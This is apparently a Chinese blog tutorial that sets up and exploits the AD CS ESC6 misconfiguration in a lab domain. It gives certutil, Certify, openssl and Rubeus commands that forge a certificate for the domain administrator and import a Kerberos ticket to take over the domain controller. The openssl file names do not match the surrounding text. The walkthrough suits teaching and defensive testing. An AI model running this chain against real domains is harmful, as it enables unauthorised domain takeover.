ADCS-ESC6漏洞环境构造与利用

原理

在企业内部基于 PKI 为 Web 服务器颁发证书的场景中,管理员为给证书添加额外主机名,会在 CA 上设置+EDITF_ATTRIBUTESUBJECTALTNAME2标志。然而,按照微软描述,设置该标志后,攻击者能利用这一机制为任意域用户注册证书。这意味着攻击者可以伪造合法用户的身份证书,从而突破企业基于证书的身份验证机制。

漏洞利用条件

标志启用:CA 服务器必须启用+EDITF_ATTRIBUTESUBJECTALTNAME2标志。该标志允许证书请求中自定义主题备用名称(SAN)字段,包括任意用户身份信息(如域管理员)。

证书模板权限:攻击者必须拥有向 CA 提交证书请求的权限(通常为普通域用户权限)。若模板未严格限制请求者身份或 SAN 字段内容,攻击者可直接构造恶意请求。

漏洞环境构造

使用命令设置

certutil -config "adcs.lutra.com\lutra-ADCS-CA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2

使用命令查看

certutil -config "adcs.lutra.com\lutra-ADCS-CA" -getreg "policy\EditFlags" 

漏洞环境检测

使用Certify检测漏洞

Certify.exe find /vulnerable

发现已经设置了EDITF_ATTRIBUTESUBJECTALTNAME2,可以利用

漏洞利用

使用User模板申请一张证书

Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:User /altname:administrator

将申请的证书复制保存为esc6.pem,使用openssl转为esc6.pfx,密码为空即可

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用Rubeus请求域管administrator的TGT

Rubeus.exe asktgt /user:administrator /certificate:esc6.pfx /dc:192.168.110.127 /ptt

将域控制器身份验证注册后再次执行,成功导入票据

导入票据后,已经有权限访问域控目录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值